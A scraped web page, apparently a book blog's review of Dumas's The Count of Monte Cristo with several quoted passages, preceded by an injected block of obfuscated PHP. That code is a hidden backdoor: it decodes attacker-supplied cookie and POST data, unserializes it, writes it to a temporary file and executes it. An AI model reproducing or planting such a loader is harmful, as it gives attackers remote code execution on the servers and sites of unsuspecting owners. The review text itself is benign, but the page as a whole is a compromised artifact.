$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} The Count of Monte Cristo – 50 Books to Read Before You Die

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Tag: The Count of Monte Cristo

The Count of Monte Cristo

Welcome back, class.

Reading The Count of Monte Cristo was a journey of several months, like my experience with Ulysses and The Divine Comedy. But length is no indicator of difficulty—while it was never “easy,” it was consistently accessible, unlike Ulysses and The Divine Comedy. There were things that I wasn’t expecting, and even things I didn’t like, but in general The Count of Monte Cristo was a classic that I’m proud to have read. I could read another Alexandre Dumas novel without hesitation (I’m looking at you, The Three Musketeers).


It starts with Edmond Dantès, who is unjustly imprisoned by men jealous of his success. In prison, an older man befriends him, teaches him the full spectrum of human knowledge, and reveals the hiding place of his inherited treasure. Dantès escapes and finds the treasure, buried on the island of Monte Cristo; using the money, he develops the disguise of the Count of Monte Cristo and uses it to exact revenge on those who destroyed his life.

Illustration of Edmond Dantès

That’s only the first couple hundred pages—about one-fifth of the story. The rest, while at times not nearly as exciting, is the painstakingly long course of events allowing the count to destroy his enemies. It’s not enough for him to take their lives or torture them; he concocts the exact punishment necessary for each enemy, without directly attacking them. There are bumps along the way, each one making it that much more exciting to see him successful, and so the novel spans decades to reach an almost perfect ending—but I won’t spoil it.


The strengths of The Count of Monte Cristo are not in great literary merit or symbolism, like most of the other books on the list. This is a plot- and character-driven story that’s meant to be entertaining, plain and simple. I spent most of my time reading it wondering what Dantès would do next, and to whom; I sympathized with him as much as I feared him. Dantès transforms from a kind soul to a vengeful spirit, and he is as intimidating as he is heroic—the terrible things he commits himself to doing are matched only by the commitment with which he does them. He becomes a legend, and that legend makes The Count of Monte Cristo worth reading.

Author Alexandre Dumas

Beyond that, it’s worth noting that Alexandre Dumas knows exactly how to delay the reader’s satisfaction. Some chapters begin with characters we’ve never met before, and while we sift through who they are and why we aren’t focusing on Dantès, we’ll suddenly realize that one of these characters is Dantès in disguise, subtly manipulating the scene to his own ends. Other times we focus on interesting subplots dragged out for dozens of chapters, only to see Dantès enact his revenge on these extra characters, years of his work successful in an instant. The novel is so long because Dumas teases it out for, if nothing else, dramatic effect. Even when things are confusing, they’re fresh and exciting too, because Dumas tells a good story in the best way.


Next up, I’ve been reading the similarly long novel Anna Karenina, also for several months. I don’t know how I gained the ability to read multiple novels at once, which I know baffles some people, but I absolutely love it. I couldn’t have enjoyed reading The Count of Monte Cristo for so long if I didn’t diversify things with other novels. Surviving college sometimes meant juggling four different novels from four different literature classes—it brings a smile to my face just thinking about it. I just love reading so much.

I’ll leave you with that thought.

Prof. Jeffrey

“‘There is neither happiness nor misery in the world; there is only the comparison of one state with another, nothing more. He who has felt the deepest grief is best able to experience supreme happiness. We must have felt what it is to die . . . that we may appreciate the enjoyments of life.

Live, then, and be happy . . . and never forget, that until the day when God will deign to reveal the future to man, all human wisdom is contained in these two words,—“Wait and hope.”‘”

—from The Count of Monte Cristo by Alexandre Dumas

“‘I say it with some pride, Mercédès—God required me, and I lived. Examine the past and the present, and endeavor to pierce futurity, and then say whether I am not a Divine instrument. The most dreadful misfortunes, the most frightful sufferings, the abandonment of all those who loved me, the persecution of those who did not know me, formed the trials of my youth; when suddenly, from captivity, solitude, misery, I was restored to light and liberty, and became the possessor of a fortune so brilliant, so unbounded, so unheard-of, that I must have been blind not to be conscious that God had endowed me with it to work out his own great designs. From that time I viewed this fortune as confided to me for a particular purpose. Not a thought was given to a life which you once, Mercédès, had the power to render blissful,—not one hour of peaceful calm was mine, but I felt myself driven on like an exterminating angel. Like those adventurous captains about to embark on some enterprise full of danger, I laid in my provisions, I loaded my arms, I collected every means of attack and defence; I inured my body to the most violent exercises, my soul to the bitterest trials; I taught my arm to slay, my eyes to behold excruciating sufferings, and my mouth to smile at the most horrid spectacles. From good-natured, confiding, and forgiving, I became revengeful, cunning, and wicked, or rather immovable as fate. Then I launched out into the path that was opened to me; I overcame every obstacle and reached the goal. But woe to those who met me in my career.'”

—from The Count of Monte Cristo by Alexandre Dumas

“‘ . . . until now, no man has found himself in a position similar to mine. The dominions of kings are limited, either by mountains or rivers, or a change of manners, or an alteration of language. My kingdom is bounded only by the world, for I am neither an Italian, nor a Frenchman, nor a Hindoo, nor an American, nor a Spaniard. I am a cosmopolite. No country can say it saw my birth. God alone knows what country will see me die . . . You may, therefore, comprehend, that being of no country, asking no protection from any government, acknowledging no man as my brother, not one of the scruples that arrest the powerful, or the obstacles which paralyse the weak, paralyse or arrest me. I have only two adversaries—I will not say two conquerors, for with perseverance I subdue even them, though they are time and distance. There is a third, and the most terrible—that is my condition as a mortal being. This alone can stop me in my onward career, and before I have attained the goal at which I aim, for all the rest I have calculated. What men call the chances of fate, namely, ruin, change, circumstances—I have anticipated them all, and if any of these should overtake me, yet they will not overwhelm me. Unless I die, I shall always be what I am . . .’”

—from The Count of Monte Cristo by Alexandre Dumas

(Edmond Dantès speaking to the Abbè Faria)

“‘God deems it right to take from me even what you call my devotion to you. I have promised you to remain for ever with you, and now I could not break my promise if I would. I shall no more have the treasure than you, and neither of us will quit this prison. But my real treasure is not that, my dear friend, which awaits me beneath the somber rocks of Monte Cristo, but it is your presence, our living together five or six hours a day, in spite of our gaolers; it is those rays of intelligence you have elicited from my brain, the languages you have implanted in my memory, and which spring there with all their philological ramifications. These different sciences that you have made so easy to me by the depth of the knowledge you possess of them, and the clearness of the principles to which you have reduced them,—this is my treasure, my beloved friend, and with this you have made me rich and happy . . . To have you as long as possible near me, to hear your eloquent voice which I trust embellishes my mind, strengthens my soul, and makes my whole frame capable of great and terrible things, if I should ever be free, so fills my whole existence, that the despair to which I was just on the point of yielding when I knew you, has no longer any hold over me: and this—this is my fortune—not chimerical but actual. I owe you my real good, my present happiness; and all the sovereigns of the earth, were they Caesar Borgias, could not deprive me of this.'”

—from The Count of Monte Cristo by Alexandre Dumas

“‘I possessed nearly 5000 volumes in my library at Rome, but after reading them over many times, I found out that with 150 well-chosen books a man possesses a complete analysis of all human knowledge, or at least all that is either useful or desirable to be acquainted with. I devoted three years of my life to reading and studying these volumes, till I knew them nearly by heart; so that since I have been in prison, a very slight effort of memory has enabled me to recall their contents as readily as though the pages were open before me.'”

—from The Count of Monte Cristo by Alexandre Dumas

“Dantès had exhausted all human resources; and he then turned to God.

All the pious ideas that had been so long forgotten returned; he recollected the prayers his mother had taught him, and discovered a new meaning in every word. For in prosperity prayers seem but a mere assemblage of words until the day when misfortune comes to explain to the unhappy sufferer the sublime language by which he invokes the pity of Heaven! He prayed, and prayed aloud, no longer terrified at the sound of his voice; for he fell into a species of ecstasy. He laid every action of his life before the Almighty, proposed tasks to accomplish, and at the end of every prayer introduced the entreaty oftener addressed to man than to God, ‘Forgive us our trespasses as we forgive them that trespass against us.’ Yet in spite of his earnest prayers, Dantès remained a prisoner.”

—from The Count of Monte Cristo by Alexandre Dumas